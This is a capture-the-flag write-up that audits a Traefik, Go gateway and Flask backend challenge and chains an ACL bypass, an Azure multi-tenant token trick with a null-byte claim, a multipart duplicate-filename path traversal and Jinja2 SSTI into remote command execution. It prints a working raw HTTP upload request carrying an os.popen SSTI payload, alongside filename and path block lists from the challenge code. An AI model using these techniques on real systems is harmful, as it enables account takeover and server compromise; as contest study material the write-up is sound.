Skip to content

All roads lead to RCE

Introduction

Cybersecurity Student Contest Vietnam Final AD

Category: Web

Write-up date: 30/11/2025

Question:

[+] Challenge Name: All roads lead to RCE
[+] Service: https://dashboard.0x1337.space:1337/
[+] Description: Vibe coding meets vibe hacking. Note for players: You might need Azure account to solve this challenge
[+] Binary: https://drive.google.com/file/d/12NRMR77almF_MS-scWb4kIrBMYuFQpW_/view?usp=sharing
[+] [Noted]: File Patch Upload Format: .zip
[+] Patch guideline: Send message to authors after you solve via telegram (@n3mocap or @lmaplmaplmap) for detail patch guideline

Source code audit

Docker Compose

Let's look around and find the flow of the code, first thing is the docker compose

services:
  traefik:
    image: traefik:v2.6.6
    container_name: traefik_container_original
    command:
      - "--api.insecure=true"
      - "--providers.file.filename=/etc/traefik/dynamic.yml"
      - "--providers.file.watch=true"
      - "--log.level=INFO"
      - "--accesslog=false"
      - "--entrypoints.websecure.address=:443"
    ports:
      - "443:443"
    volumes:
      - ./traefik-dynamic.yml:/etc/traefik/dynamic.yml:ro
    networks:
      - container_original_net
    depends_on:
      gateway:
        condition: service_healthy

  gateway:
    build:
      context: ./gateway
      target: dev
    container_name: gateway_container_original
    volumes:
      - ./gateway:/app:rw
      - ./gateway/static:/app/static:ro
      - gateway_container_original_build:/app/tmp
    environment:
      - BACKEND_URL=http://backend:5000
      - PORT=8000
      - CGO_ENABLED=0
    networks:
      - container_original_net
    depends_on:
      - backend
    healthcheck:
      test: [ "CMD", "curl", "-f", "http://localhost:8000/gateway-health" ]
      interval: 10s
      timeout: 5s
      retries: 3
      start_period: 15s

  backend:
    build: ./backend
    container_name: backend_container_original
    environment:
      - FLASK_ENV=production
    volumes:
      - ./flag.txt:/flag.txt:ro
    networks:
      - container_original_net

networks:
  container_original_net:
    driver: bridge

volumes:
  gateway_container_original_build:

As we can see, there are three services in this compose, traefik, gateway, backend. traefik serve a role as reserve proxy for the whole website. We can guess that gateway is the frontend and when needed data, the gateway will call the backend to compute or do some "server" task.

After check image, we can confirm that traefik multiple CVE. Exclude all unexploitable CVE, we have a list bellow

  • CVE-2024-52003 (allows the client to provide the X-Forwarded-Prefix header from an untrusted source)
  • CVE-2024-45410 (some of custom headers can indeed be removed and in certain cases manipulated)

Traefik

We can confirm our theories when looking at traefik-dynamic.yml file

http:
  routers:
    gateway-router:
      rule: "PathPrefix(`/`)"
      service: gateway-service
      priority: 100
      entryPoints: [ "websecure" ]
      tls: { }

  services:
    gateway-service:
      loadBalancer:
        servers:
          - url: "http://gateway:8000"
        passHostHeader: true

There a no routing from traefik so we can confirm out theory that there are no connection from user to backend. We can safely conclude that the app working order is like this traefik -> gateway -> backend. Also note that the flag is mount in backend. So, in order to get the flag, we have to trick backend send the data though the gateway and traefik.

Gateway

First, let's hunt for CVE for the golang, the jwt-v5 from golang have CVE-2025-30204. This CVE can be exploited to DoS the wild, but it's inappropriate for this case.

module gateway

go 1.21

require github.com/golang-jwt/jwt/v5 v5.2.0

To know how the gateway working and what the endpoints of gateway, first thing we have to look for is the defined of all the endpoints. Here all the handler of this webpage from gateway/main.go.

http.HandleFunc("/gateway-health", gateway.healthHandler)
http.HandleFunc("/gateway-login", gateway.loginHandler)
http.HandleFunc("/gateway-logout", gateway.logoutHandler)
http.HandleFunc("/gateway-dashboard", gateway.serveDashboardPage)
http.HandleFunc("/", gateway.handler)

We know that the web is protected with ACL, so let's have look at ACL first in gateway/main.go. This is an initialize function from gateway define each role admin, user and guest and each path that user in roles can access.

func (g *Gateway) initializeData() {
    // Mock users database
    g.users = map[string]User{
        "admin": {
            Username: "admin",
            Roles:    []string{"admin", "user"},
        },
        "user1": {
            Username: "user1",
            Roles:    []string{"user"},
        },
        "guest": {
            Username: "guest",
            Roles:    []string{"guest"},
        },
    }

    // ACL Rules - Order matters! More specific rules should come first
    g.aclRules = []ACLRule{
        {
            Path:        "/admin",
            Methods:     []string{"GET", "POST", "PUT", "DELETE"},
            RequiredRole: "admin",
        },
        {
            Path:        "/uploads",
            Methods:     []string{"GET", "POST", "PUT", "DELETE"},
            RequiredRole: "admin", // Allow all users (guest is the default minimum role)
        },
        {
            Path:        "/",
            Methods:     []string{"GET"},
            RequiredRole: "guest",
        },
    }
}

So let's talk about the function that handle ACL in gateway/handler.go. If gateway can't extract user data from jwt that client give, it will redirect to /gateway-login and prompt user to try again. Else they will check forbidden character, then check ACL and finally if we pass all of that, the server will add 2 header X-Gateway-User and X-Gateway-Access and then forward it to the backend using g.forwardRequest(w, r, r.URL.Path).

func (g *Gateway) handler(w http.ResponseWriter, r *http.Request) {
    start := time.Now()
    log.Printf("REQUEST: %s %s from %s", r.Method, r.URL.Path, r.RemoteAddr)

    username, err := g.extractUser(r)
    if err != nil {
        log.Printf("Authentication failed: %v, redirecting to login page", err)
        http.Redirect(w, r, "/gateway-login", http.StatusFound)
        return
    }
    log.Printf("User: %s", username)

    // Decode path for ACL check
    decodedPath, err := url.QueryUnescape(r.URL.Path)
    if err != nil {
        log.Printf("Decode error: %v", err)
        decodedPath = r.URL.Path
    }
    log.Printf("Path: %s -> %s cc", r.URL.Path, decodedPath)

    // Check for bypass characters in decoded path
    bypassChars := []string{"#", "?", ";", "&", "//", "\\", "..", "%00", " ", "\r", "\n"}
    for _, char := range bypassChars {
        if strings.Contains(decodedPath, char) {
            log.Printf("BLOCKED: Decoded path contains bypass character: %s", char)
            w.Header().Set("Content-Type", "application/json")
            w.WriteHeader(http.StatusBadRequest)
            json.NewEncoder(w).Encode(map[string]interface{}{
                "error":         "Invalid Path",
                "reason":        fmt.Sprintf("Path contains forbidden character: %s", char),
                "path":          decodedPath,
                "original_path": r.URL.Path,
            })
            return
        }
    }

    // Check ACL
    allowed, reason := g.checkACL(username, decodedPath, r.Method)
    if !allowed {
        log.Printf("DENIED: %s", reason)
        w.Header().Set("Content-Type", "application/json")
        w.WriteHeader(http.StatusForbidden)
        json.NewEncoder(w).Encode(map[string]interface{}{
            "error":         "Access Denied",
            "reason":        reason,
            "username":      username,
            "path":          decodedPath,
            "original_path": r.URL.Path,
        })
        return
    }

    log.Printf("GRANTED: %s", reason)

    // Add gateway headers
    r.Header.Set("X-Gateway-User", username)
    r.Header.Set("X-Gateway-Access", "granted")

    // Forward with original path
    g.forwardRequest(w, r, r.URL.Path)

    log.Printf("Completed in %v", time.Since(start))
}

Have a closer look at forwardRequest in gateway/handler.go. The forwardRequest function first check parsing url, next they limit all request to 32mb and verify multipart filename. Then they forward http request to the backend and if the http client don't throw any error send the response back to the user. Now let's go through theverifyFileName in gateway/handler.go.

func (g *Gateway) forwardRequest(w http.ResponseWriter, r *http.Request, pathToSend string) {
    backendURL := os.Getenv("BACKEND_URL")
    if backendURL == "" {
        backendURL = "http://backend:5000"
    }
    backend, err := url.Parse(backendURL)
    if err != nil {
        log.Printf("Error parsing backend URL: %v", err)
        http.Error(w, "Gateway error", http.StatusInternalServerError)
        return
    }
    var reqBody io.Reader = r.Body
    if r.Method == "POST" || r.Method == "PUT" || r.Method == "PATCH" {
        r.Body = http.MaxBytesReader(nil, r.Body, 32<<20) // Limit 32MB
        bodyBytes, err := io.ReadAll(r.Body)
        if err != nil {
            log.Printf("Error reading body: %v", err)
            http.Error(w, "Request too large or invalid", http.StatusRequestEntityTooLarge)
            return
        }
        r.Body = io.NopCloser(strings.NewReader(string(bodyBytes)))
        if err := r.ParseMultipartForm(32 << 20); err != nil {
            log.Printf("Error parsing multipart form: %v", err)
            http.Error(w, "Invalid multipart data", http.StatusBadRequest)
            return
        }
        if r.MultipartForm != nil && r.MultipartForm.File != nil {
            for fieldName, fileHeaders := range r.MultipartForm.File {
                for i, fileHeader := range fileHeaders {
                    fileName := fileHeader.Filename
                    log.Printf("  File %d: filename=%s, size=%d", i, fileName, fileHeader.Size)
                    log.Printf("Verifying file: field=%s, filename=%s", fieldName, fileName)
                    if err := verifyFileName(fileName); err != nil {
                        log.Printf("BLOCKED: Invalid filename '%s': %v", fileName, err)
                        w.Header().Set("Content-Type", "application/json")
                        w.WriteHeader(http.StatusBadRequest)
                        json.NewEncoder(w).Encode(map[string]interface{}{
                            "error":    "Invalid filename",
                            "filename": fileName,
                            "reason":   err.Error(),
                        })
                        return
                    }
                }
            }
            log.Printf("Multipart filename verification passed")
        }
        reqBody = strings.NewReader(string(bodyBytes))

    }
    req, err := http.NewRequest(r.Method, "", reqBody)
    if err != nil {
        log.Printf("Error creating request: %v", err)
        http.Error(w, "Gateway error", http.StatusInternalServerError)
        return
    }
    Path := pathToSend
    if r.URL.RawQuery != "" {
        Path += "?" + r.URL.RawQuery
    }
    req.URL = &url.URL{
        Scheme: backend.Scheme,
        Host:   backend.Host,
        Opaque: Path,
    }
    req.Host = backend.Host
    log.Printf("Forwarding: %s %s", r.Method, Path)
    log.Printf("  Original path (encoded): %s", pathToSend)
    req.Header = r.Header.Clone()
    resp, err := (&http.Client{}).Do(req)
    if err != nil {
        log.Printf("Backend error: %v", err)
        http.Error(w, "Backend unavailable", http.StatusBadGateway)
        return
    }
    defer resp.Body.Close()
    for k, v := range resp.Header {
        w.Header()[k] = v
    }
    w.WriteHeader(resp.StatusCode)
    io.Copy(w, resp.Body)
    log.Printf("Response: %d", resp.StatusCode)
}

The verifyFileName check the filename contain string that has {"..", "/", "\\", "\x00", "\r", "\n"} or end with {".exe", ".bat", ".cmd", ".sh", ".ps1", ".php", ".jsp", ".asp", ".aspx", ".html", ".py", ".pyc", ".so"}. If yes then throws up error end return else return null.

func verifyFileName(filename string) error {
    if filename == "" {
        return nil
    }
    dangerousPatterns := []string{"..", "/", "\\", "\x00", "\r", "\n"}
    for _, pattern := range dangerousPatterns {
        if strings.Contains(filename, pattern) {
            return fmt.Errorf("forbidden pattern '%s'", pattern)
        }
    }
    if len(filename) > 255 {
        return fmt.Errorf("filename too long")
    }
    suspiciousExtensions := []string{".exe", ".bat", ".cmd", ".sh", ".ps1", ".php", ".jsp", ".asp", ".aspx", ".html", ".py", ".pyc", ".so"}
    lowerFilename := strings.ToLower(filename)
    for _, ext := range suspiciousExtensions {
        if strings.HasSuffix(lowerFilename, ext) {
            return fmt.Errorf("forbidden extension '%s'", ext)
        }
    }
    return nil
}

Continue to another handler, the loginHandler in gateway/main.go simply just get the request from user, check if username is in valid length and then call backend for authentication then return user with jwt.

func (g *Gateway) loginHandler(w http.ResponseWriter, r *http.Request) {
    // Serve HTML page for GET requests
    if r.Method == http.MethodGet {
        g.serveLoginPage(w, r)
        return
    }

    w.Header().Set("Content-Type", "application/json")

    // Only accept POST for authentication
    if r.Method != http.MethodPost {
        w.WriteHeader(http.StatusMethodNotAllowed)
        json.NewEncoder(w).Encode(map[string]interface{}{
            "error": "Method not allowed, use POST",
        })
        return
    }

    // Parse request body with size limit
    r.Body = http.MaxBytesReader(w, r.Body, 4096) // Max 4KB for form data

    var loginReq struct {
        Username string `json:"username"`
        Password string `json:"password"`
        Type     string `json:"type"`
        Token    string `json:"token"`
    }

    if err := json.NewDecoder(r.Body).Decode(&loginReq); err != nil {
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode(map[string]interface{}{
            "error": "Invalid JSON body",
        })
        return
    }

    // Validate input length to prevent DoS
    if len(loginReq.Username) > 100 {
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode(map[string]interface{}{
            "error": "Username too long",
        })
        return
    }

    // Call backend /login endpoint for authentication
    backendURL := os.Getenv("BACKEND_URL")
    if backendURL == "" {
        backendURL = "http://backend:5000"
    }

    // Build form data for backend
    formData := url.Values{}
    formData.Set("username", loginReq.Username)
    if loginReq.Password != "" {
        formData.Set("password", loginReq.Password)
        formData.Set("type", "password")
    }
    if loginReq.Token != "" {
        formData.Set("token", loginReq.Token)
        if loginReq.Type != "" {
            formData.Set("type", loginReq.Type)
        }
    }

    // Make request to backend
    backendReq, err := http.NewRequest("POST", backendURL+"/login", strings.NewReader(formData.Encode()))
    if err != nil {
        log.Printf("Failed to create backend request: %v", err)
        w.WriteHeader(http.StatusInternalServerError)
        json.NewEncoder(w).Encode(map[string]interface{}{
            "error": "Authentication service error",
        })
        return
    }
    backendReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    client := &http.Client{Timeout: 10 * time.Second}
    backendResp, err := client.Do(backendReq)
    if err != nil {
        log.Printf("Backend authentication error: %v", err)
        w.WriteHeader(http.StatusInternalServerError)
        json.NewEncoder(w).Encode(map[string]interface{}{
            "error": "Authentication service unavailable",
        })
        return
    }
    defer backendResp.Body.Close()

    // Check backend response
    if backendResp.StatusCode != http.StatusOK {
        log.Printf("Login failed for user: %s (backend returned %d)", loginReq.Username, backendResp.StatusCode)
        w.WriteHeader(backendResp.StatusCode)
        io.Copy(w, backendResp.Body)
        return
    }

    // Parse backend response
    var backendResult struct {
        Username string `json:"username"`
        Role     string `json:"role"`
    }
    if err := json.NewDecoder(backendResp.Body).Decode(&backendResult); err != nil {
        log.Printf("Failed to parse backend response: %v", err)
        w.WriteHeader(http.StatusInternalServerError)
        json.NewEncoder(w).Encode(map[string]interface{}{
            "error": "Authentication service error",
        })
        return
    }

    var username string
    var userRoles []string
    if backendResult.Role == "admin" {
        username = "admin"
        userRoles = []string{"admin", "user", "guest"}
    } else {
        username = "guest"
        userRoles = []string{"guest"}
    }

    g.users[username] = User{
        Username: username,
        Roles:    userRoles,
    }

    secret := g.jwtSecret

    // Create JWT token
    now := time.Now()
    claims := jwt.MapClaims{
        "sub":      username,
        "username": username,
        "roles":    userRoles,
        "iat":      now.Unix(),
        "exp":      now.Add(1 * time.Hour).Unix(), // Expires in 1 hour
        "iss":      "gateway",                     // Issuer
    }

    token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
    tokenString, err := token.SignedString([]byte(secret))
    if err != nil {
        log.Printf("Failed to sign token: %v", err)
        w.WriteHeader(http.StatusInternalServerError)
        json.NewEncoder(w).Encode(map[string]interface{}{
            "error": "Failed to generate token",
        })
        return
    }

    log.Printf("Login successful for user: %s (role: %s)", username, backendResult.Role)

    // Set HTTP-only cookie for security
    cookie := &http.Cookie{
        Name:     "auth_token",
        Value:    tokenString,
        Path:     "/",
        HttpOnly: true,
        Secure:   false, // Set to true in production with HTTPS
        SameSite: http.SameSiteLaxMode,
        Expires:  now.Add(1 * time.Hour),
    }
    http.SetCookie(w, cookie)

    // Return success response (without token in body for security)
    w.WriteHeader(http.StatusOK)
    json.NewEncoder(w).Encode(map[string]interface{}{
        "success":  true,
        "username": username,
        "roles":    userRoles,
        "expires":  now.Add(1 * time.Hour).Format(time.RFC3339),
        "message":  "Authentication successful, token set in cookie",
    })

logoutHandler just clear the cookies and return message "Logged out successfully"

func (g *Gateway) logoutHandler(w http.ResponseWriter, r *http.Request) {
    // Clear the authentication cookie
    cookie := &http.Cookie{
        Name:     "auth_token",
        Value:    "",
        Path:     "/",
        HttpOnly: true,
        Secure:   false, // Set to true in production with HTTPS
        SameSite: http.SameSiteLaxMode,
        Expires:  time.Unix(0, 0), // Set to past date to delete cookie
        MaxAge:   -1,
    }
    http.SetCookie(w, cookie)

    w.Header().Set("Content-Type", "application/json")
    w.WriteHeader(http.StatusOK)
    json.NewEncoder(w).Encode(map[string]interface{}{
        "success": true,
        "message": "Logged out successfully",
    })
}

healthHandler just send back debug information such as timestamp, users logged-in count and acl rules count.

func (g *Gateway) healthHandler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(map[string]interface{}{
        "status":          "healthy",
        "service":         "gateway",
        "timestamp":       time.Now().Format(time.RFC3339),
        "users_count":     len(g.users),
        "acl_rules_count": len(g.aclRules),
    })
}

Backend

First thing first, let's check dependency of python for any exploit/CVEs found in the wild. Reading the Dockerfile, the developer install the latest version of flask, request and pycryptodome. So we can surely confirm that there is no CVEs in that

RUN pip install flask requests pycryptodome

Also, python:3.9-slim is quite new image with low severity and not affect ours job so we can safely pass that.

FROM python:3.9-slim

login handler check if user request has username, password, type, token exists. After that they will check if user exists or not, and finally check the password/token if valid or not and return back json contain username, role for gateway to generate jwt.

@app.post('/login')
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    type = request.form.get('type')
    token = request.form.get('token')

    if not username:
        return jsonify({"error": "Missing username"}), 400

    exist = run_query("SELECT 1 FROM users WHERE username='?' LIMIT 1".replace('?', username))
    if not exist:
        run_query("INSERT INTO users (username, password) VALUES (?, '')", (username,), True)

    if not type:
        return jsonify({"error": "Missing type"}), 400

    auth = False
    if type == 'password':
        if not exist:
            if not password:
                return jsonify({"error": "Missing password"}), 400
            pwd_hmac = hmac.new(HMAC_SECRET.encode(), password.encode(), 'sha256').hexdigest()
            run_query("UPDATE users SET password=? WHERE username=?", (pwd_hmac, username), True)
            auth = username
        else:
            if not password:
                return jsonify({"error": "Missing password"}), 400
            pwd_hmac = hmac.new(HMAC_SECRET.encode(), password.encode(), 'sha256').hexdigest()
            user = run_query("SELECT password FROM users WHERE username=? LIMIT 1", (username,))
            if user and hmac.compare_digest(user[0][0], pwd_hmac):
                auth = username

    if token:
        if type == 'azure' or type == 'google':
            auth = handle_token(token, type)
        if auth != username:
            return jsonify({"error": "Authentication error"}), 401

    if auth:
        print(f"Login as: {auth}", file=sys.stderr)
        return jsonify({"username": username, "role": "admin" if username == "admin" else "guest"}), 200

    return jsonify({"error": "Authentication error"}), 401

admin route check if the request is coming from IP 127.0.0.1. The reason why it checks for the X-Real-IP not form request ip because the backend is behind the gateway and traefik, not expose to outside NAT. This setup can be vulnerable to outside attack if the reserve proxy misconfiguration or the reserve proxy have a bug.

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    real_ip = request.headers.get('X-Real-IP')
    local_pass = 1
    if real_ip and real_ip != '127.0.0.1':
        local_pass = 0
    if local_pass == 1:
        print("Admin access granted (localhost)")
    else:
        gateway_user = request.headers.get('X-Gateway-User')

        if not gateway_user:
            return jsonify({"error": "Missing X-Gateway-User header - authentication required"}), 401
        if gateway_user != 'admin':
            return jsonify({"error": "Admin access required"}), 403

        print(f"Admin access granted for gateway user: {gateway_user}")

    if request.method == 'GET':
        # List files in uploads directory for file manager UI
        files = []
        if os.path.exists(TEMPLATE_DIR):
            for filename in os.listdir(TEMPLATE_DIR):
                filepath = os.path.join(TEMPLATE_DIR, filename)
                if os.path.isfile(filepath):
                    file_stat = os.stat(filepath)
                    files.append({
                        'name': filename,
                        'size': file_stat.st_size,
                        'modified': file_stat.st_mtime
                    })

        return render_template('file_manager.html', files=files, upload_dir=TEMPLATE_DIR)

    # POST request - handle file upload (original logic)
    uploaded_files = []
    if request.files:
        for field_name in request.files:
            file = request.files[field_name]
            if file and file.filename:
                filename = file.filename
                print(f"Processing file upload: field={field_name}, filename={filename}")
                filepath = os.path.join(TEMPLATE_DIR, filename)

                try:
                    file.save(filepath)
                    file_size = os.path.getsize(filepath)
                    uploaded_files.append({
                        'field_name': field_name,
                        'filename': filename,
                        'size': file_size,
                        'saved_path': filepath
                    })
                    print(f"File uploaded: {filename} ({file_size} bytes)")
                except Exception as e:
                    print(f"Error saving file {filename}: {e}")
                    return jsonify({"error": f"Failed to save file {filename}: {str(e)}"}), 500

    form_data = dict(request.form) if request.form else {}

    return jsonify({
        "message": "File upload processed",
        "uploaded_files": uploaded_files,
        "form_data": form_data,
        "template_dir": TEMPLATE_DIR,
        "real_ip": real_ip
    })

The upload route take filename arg, then send file from directory. The handler can't be exploited with path traversal because it uses flask builtin send_from_directory function.

@app.route('/uploads')
def serve_uploaded_file():
    from flask import send_from_directory
    filename = request.args.get('filename')
    if not filename:
        return jsonify({"error": "Missing filename parameter"}), 400
    return send_from_directory(TEMPLATE_DIR, filename)

Finally, the / route accept all method and return size of the home.html template after render

@app.route('/', methods=['GET', 'POST', 'PUT', 'PATCH', 'DELETE'])
def catch_all():
    return jsonify({"message": len(render_template('./home.html', user="Alice"))})

Summary

We have a web application that have upload functionality, all services consist of:

  • Traefik instance running on port 443 with self sign certificate and expose to the outside
  • Gateway instance running on port 8000
  • Backend instance running on port 5000
  • The traefik instance send request to the gateway, then the gateway check for ACL, forward it to backend and finally return it to user (traefik -> gateway -> backend)

A logged-in guest can:

  • Access dashboard
  • Get size of home.html
  • Access health check from gateway
  • Logout

A logged-in admin can:

  • Do users permission task
  • Uploads file

Also, here is all the list of CVEs founded:

  • CVE-2024-52003 (allows the client to provide the X-Forwarded-Prefix header from an untrusted source)
  • CVE-2024-45410 (some of custom headers can indeed be removed and in certain cases manipulated)

Exploit

Using Traefik reverse-proxy to bypass login (1/2)

In the admin route, what we have here is an if else that check for X-Real-IP is localhost or not. If yes then default to admin account

real_ip = request.headers.get('X-Real-IP')
local_pass = 1
if real_ip and real_ip != '127.0.0.1':
    local_pass = 0
if local_pass == 1:
    print("Admin access granted (localhost)")

First thing, the ACL blocking the /admin route, how can we bypass that?

Looking closely as the forbidden filter, we can bypass it using %0a or non-breaking space, because when it passed to the forwardRequest, before forwarding request to backend the &url.URL path will normalize and remove any trailing space and including non-breaking space, making it proper url.

Path := pathToSend
if r.URL.RawQuery != "" {
    Path += "?" + r.URL.RawQuery
}
req.URL = &url.URL{
    Scheme: backend.Scheme,
    Host:   backend.Host,
    Opaque: Path,
}
req.Host = backend.Host
log.Printf("Forwarding: %s %s", r.Method, Path)
log.Printf("  Original path (encoded): %s", pathToSend)
req.Header = r.Header.Clone()
resp, err := (&http.Client{}).Do(req)
if err != nil {
    log.Printf("Backend error: %v", err)
    http.Error(w, "Backend unavailable", http.StatusBadGateway)
    return
}
defer resp.Body.Close()
for k, v := range resp.Header {
    w.Header()[k] = v
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body)
log.Printf("Response: %d", resp.StatusCode)

Combine it with CVE-2024-45410 we found earlier, and voilà we have successful bypass it with admin account. The exploit of traefik we can reuse from HackTheBox Business-CTF

img.png

Multi-Tenant Authorization Logic Flaw to ATO (1/2)

When click sign in as microsoft, first the website redirect to Microsoft EntraID login. After that the OpenID EntraID redirect back to /gateway-login and continue to processing. The code below is the function to handle token if the login request type is token and login token exists.

def handle_token(token, type):
    try:
        print(f"Calling handle_azure_token: {type} - {token}", file=sys.stderr)
        payload = verify_signature(token)
        print(payload, file=sys.stderr)
        user = 'guest'
        user = libverifysso.check_claims(payload, type)
        return user
    except Exception as e:
        print(f"handle_azure_token error: {e}", file=sys.stderr)

First its calling for verify_signature, then default user to guest and using already complied Cpython library to handle username and return the user.

def verify_signature(token):
    try:
        parts = token.split('.')
        if len(parts) != 3: return None
        headers = json.loads(b64decode(parts[0]).decode())
        claims = json.loads(b64decode(parts[1]).decode())
        kid = headers['kid']
        iss = claims['iss']
        jwks_uri = requests.get(f"{iss}/.well-known/openid-configuration", allow_redirects=False).json()['jwks_uri']
        keys = requests.get(jwks_uri, allow_redirects=False).json()['keys']
        for key in keys:
            if key['kid'] == kid:
                n = b64decode(key['n'])
                e = b64decode(key['e'])
                public_key = RSA.construct((int.from_bytes(n, byteorder='big'), int.from_bytes(e, byteorder='big')))
                signature = b64decode(parts[2])
                data = f"{parts[0]}.{parts[1]}".encode('utf-8')
                hash_data = SHA256.new(data)
                pkcs1_15.new(public_key).verify(hash_data, signature)
                return claims
    except Exception as e:
        print(f"verify_signature error: {e}", file=sys.stderr)
    return None

Function verify_signature is simply the function to check the validation of jwt key via jwks_uri that the SSO provide.

Let's decompile the library that already compile.

azure_decompile_1.png azure_decompile_2.png azure_decompile_3.png azure_decompile_4.png

Azure check for preferred_username, ver, aud, exp, iss is not null, then it check for iss com from one of 2 url https://login.microsoftonline.com/ or https://sts.windows.net/, exp is bigger than current timestamp. If the jwt pass all the test then return the preferred_username back to the caller function.

With this configuration, the program didn't validate any tenant id (tid) and not use any unique field such as sub. So attacker can create their own "evil" Azure tenant, log in to your app, and pass the signature check because Microsoft legitimately signed their token. Learn more here.

But, how can we assign preferred_username when we already have one. The answer is quite simple, add a null byte after before ending preferred_username\u0000 or upn. When pass into python, preferred_username and preferred_username\u0000 is completely different field but when pass into Cython, they treat like the same because ending of a string in C is \u0000 or null byte. Also because of how Python dictionary convert to C, the custom claim always reading last, making it always the username that attacker can control.

Let's create custom claim preferred_username\u0000 with this (How to create custom claim)

Then create a new multi-tenant app

img.png

Add website url to redirect url

img_1.png

Then login using that account by choosing between two options

  • Postman (Microsoft docs).
  • Add match and replace and replace their tenant_id to ours.

Here I choose options 2, let's use match and replace from burp suite Add 2 rules, the first rules match response body of /gateway-url

img_2.png

Second rule match the request body of username request body of /gateway-url from any to admin.

img_3.png

And voilà, we are now admin.

img_4.png

We can access the admin file manager

img_5.png

RCE via SSTI (2/2)

Now we can access upload, what's next? Greeting admin panel is a file manager. Let's see what it's can do

# POST request - handle file upload (original logic)
uploaded_files = []
if request.files:
    for field_name in request.files:
        file = request.files[field_name]
        if file and file.filename:
            filename = file.filename
            print(f"Processing file upload: field={field_name}, filename={filename}")
            filepath = os.path.join(TEMPLATE_DIR, filename)

            try:
                file.save(filepath)
                file_size = os.path.getsize(filepath)
                uploaded_files.append({
                    'field_name': field_name,
                    'filename': filename,
                    'size': file_size,
                    'saved_path': filepath
                })
                print(f"File uploaded: {filename} ({file_size} bytes)")
            except Exception as e:
                print(f"Error saving file {filename}: {e}")
                return jsonify({"error": f"Failed to save file {filename}: {str(e)}"}), 500

form_data = dict(request.form) if request.form else {}

return jsonify({
    "message": "File upload processed",
    "uploaded_files": uploaded_files,
    "form_data": form_data,
    "template_dir": TEMPLATE_DIR,
    "real_ip": real_ip
})

In here, the system using os.path.join without any sanitize trusting the user input. That's can cause path traversal that allows attacker to save anywhere they want. But that's not enough, we still can't save new template because of gateway filters

func verifyFileName(filename string) error {
    if filename == "" {
        return nil
    }
    dangerousPatterns := []string{"..", "/", "\\", "\x00", "\r", "\n"}
    for _, pattern := range dangerousPatterns {
        if strings.Contains(filename, pattern) {
            return fmt.Errorf("forbidden pattern '%s'", pattern)
        }
    }
    if len(filename) > 255 {
        return fmt.Errorf("filename too long")
    }
    suspiciousExtensions := []string{".exe", ".bat", ".cmd", ".sh", ".ps1", ".php", ".jsp", ".asp", ".aspx", ".html", ".py", ".pyc", ".so"}
    lowerFilename := strings.ToLower(filename)
    for _, ext := range suspiciousExtensions {
        if strings.HasSuffix(lowerFilename, ext) {
            return fmt.Errorf("forbidden extension '%s'", ext)
        }
    }
    return nil
}

Introducing HTTP Parameter Pollution but in multipart. After countless time of trying, turn out when we add 2 filename field, Go will read the first one but in python its will read the last one.

Using that bug, we can easily write into the file_manager.html or the home.html (for attack defend, and you don't want to show flag)

POST /admin HTTP/2
Host: localhost
Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjQ5NDU2MTcsImlhdCI6MTc2NDk0MjAxNywiaXNzIjoiZ2F0ZXdheSIsInJvbGVzIjpbImFkbWluIiwidXNlciIsImd1ZXN0Il0sInN1YiI6ImFkbWluIiwidXNlcm5hbWUiOiJhZG1pbiJ9.3N2GiZd8ZyRkSTmJ49kYUF4ZuvdkS-ngJxh77z4frpo
Content-Length: 337
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEtCNHBzu6X7v2tTj
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: */*
Origin: https://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://localhost/admin
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

------WebKitFormBoundaryEtCNHBzu6X7v2tTj
Content-Disposition: form-data; name="file"; filename="public.zip"; filename="../templates/file_manager.html"
Content-Type: application/zip

{{ request.application.__globals__.__builtins__.__import__('os').popen(request.args.get('a')).read() }}

------WebKitFormBoundaryEtCNHBzu6X7v2tTj--

And now we can run command from file_manager.html, just run /readflag and done.

img.png